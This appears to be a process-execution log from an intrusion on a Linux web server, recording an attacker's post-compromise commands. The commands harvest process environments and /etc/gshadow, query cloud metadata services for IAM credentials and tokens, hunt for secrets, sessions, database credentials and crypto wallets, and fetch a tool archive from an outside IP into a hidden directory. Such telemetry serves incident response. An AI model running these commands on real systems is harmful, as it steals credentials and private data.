2026-10-31 01:12:46Not attributedNot attributedtimeout -> timeoutsh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head
2026-10-31 01:12:46Not attributedNot attributedsh -> shw
2026-10-31 01:12:46Not attributedNot attributedsh -> shcat /etc/gshadow
2026-10-31 01:12:51Not attributedNot attributedsh -> shls -la /etc/default /etc/sysconfig
2026-10-31 01:12:51Not attributedNot attributedsh -> shls -la /etc/profile.d
2026-10-31 01:12:54Not attributedNot attributedsh -> shls -la /.dockerenv /run/.containerenv
2026-10-31 01:12:54Not attributedNot attributedtimeout -> timeoutsh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m
2026-10-31 01:12:54Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgro
2026-10-31 01:12:54Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ec
2026-10-31 01:12:54Not attributedNot attributedtimeout -> timeoutsh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm"
2026-10-31 01:12:5823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashmkdir -p /var/tmp/.p
2026-10-31 01:13:01Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/
2026-10-31 01:13:01Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id
2026-10-31 01:13:01Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type
2026-10-31 01:13:01Not attributedNot attributedsh -> shls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock
2026-10-31 01:13:01Not attributedNot attributedsh -> shls -la /var/run/secrets/kubernetes.io/serviceaccount/
2026-10-31 01:13:01Not attributedNot attributedsh -> shtimeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
2026-10-31 01:13:01Not attributedNot attributedtimeout -> timeoutsh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "--
2026-10-31 01:13:01Not attributedNot attributedsh -> shls -la /run/secrets /var/run/secrets
2026-10-31 01:13:01Not attributedNot attributedsh -> shls -la /proc/1/root
2026-10-31 01:13:0323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l /dev/fuse
2026-10-31 01:13:08Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4
2026-10-31 01:13:08Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone
2026-10-31 01:13:08Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4
2026-10-31 01:13:15Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname
2026-10-31 01:13:15Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname
2026-10-31 01:13:20Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups
2026-10-31 01:13:20Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/
2026-10-31 01:13:20Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info
2026-10-31 01:13:27Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json
2026-10-31 01:13:27Not attributedNot attributedsh -> shcurl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token
2026-10-31 01:13:32Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01
2026-10-31 01:13:32Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/
2026-10-31 01:13:32Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data
2026-10-31 01:13:32Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
2026-10-31 01:13:32Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id
2026-10-31 01:13:37Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/metadata/v1/
2026-10-31 01:13:42Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l
2026-10-31 01:13:42Not attributedNot attributedsh -> shfind /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* )
2026-10-31 01:13:42Not attributedNot attributedsh -> shfind /var/www /usr/share/nginx /srv/www -name .htaccess -type f
2026-10-31 01:13:42Not attributedNot attributedsh -> shfind /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:13:42Not attributedNot attributedsh -> shfind /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:13:42Not attributedNot attributedsh -> shls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d
2026-10-31 01:13:42Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep
2026-10-31 01:13:42Not attributedNot attributedtimeout -> timeoutsh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root |
2026-10-31 01:13:42Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/
2026-10-31 01:13:42Not attributedNot attributedsh -> shls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www
2026-10-31 01:13:47Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l
2026-10-31 01:13:47Not attributedNot attributedsh -> shfind /home -type f -size -256k
2026-10-31 01:13:47Not attributedNot attributedsh -> shfind /usr/local/etc/php -type f -size -256k
2026-10-31 01:13:47Not attributedNot attributedsh -> shfind /etc/apache2 -type f -size -256k
2026-10-31 01:13:47Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l
2026-10-31 01:13:5823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o /dev/null -w s=%{http_code} http://206.245.153.56:8088/serve/
2026-10-31 01:15:19Not attributedNot attributedsh -> shgrep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-20261031 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclu
2026-10-31 01:15:19Not attributedNot attributedsh -> shtimeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --ex
2026-10-31 01:15:19Not attributedNot attributedtimeout -> timeoutsh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='
2026-10-31 01:15:25Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n
2026-10-31 01:15:25Not attributedNot attributedsh -> shfind /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-20261031 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n
2026-10-31 01:15:25Not attributedNot attributedtimeout -> timeoutsh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty
2026-10-31 01:15:25Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -p
2026-10-31 01:15:25Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n
2026-10-31 01:15:25Not attributedNot attributedsh -> shls -laR /var/log
2026-10-31 01:15:25Not attributedNot attributedtimeout -> timeoutsh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r
2026-10-31 01:15:25Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log
2026-10-31 01:15:45Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n
2026-10-31 01:15:5223.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashrm -rf /var/tmp/.p
2026-10-31 01:16:11Not attributedNot attributedsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n
2026-10-31 01:16:11Not attributedNot attributedsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print
2026-10-31 01:16:1423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashmkdir -p /var/tmp/.p
2026-10-31 01:16:1423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o dbt.tgz http://206.245.153.56:8088/tools/j490/j490_dbt.tgz
2026-10-31 01:16:1423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l dbt.tgz
2026-10-31 01:16:37Not attributedNot attributedsh -> shls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron
2026-10-31 01:16:37Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print
2026-10-31 01:16:37Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for
2026-10-31 01:16:37Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n
2026-10-31 01:16:37Not attributedNot attributedsh -> shcat /etc/crontab
2026-10-31 01:16:37Not attributedNot attributedtimeout -> timeoutsh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c
2026-10-31 01:16:42Not attributedNot attributedsh -> shfind /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n
2026-10-31 01:16:42Not attributedNot attributedsh -> shgrep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc
2026-10-31 01:16:42Not attributedNot attributedtimeout -> timeoutsh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql"
2026-10-31 01:16:42Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na
2026-10-31 01:16:42Not attributedNot attributedsh -> shls -la /etc/supervisor /etc/supervisor/conf.d
2026-10-31 01:16:47Not attributedNot attributedsh -> shfind /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n
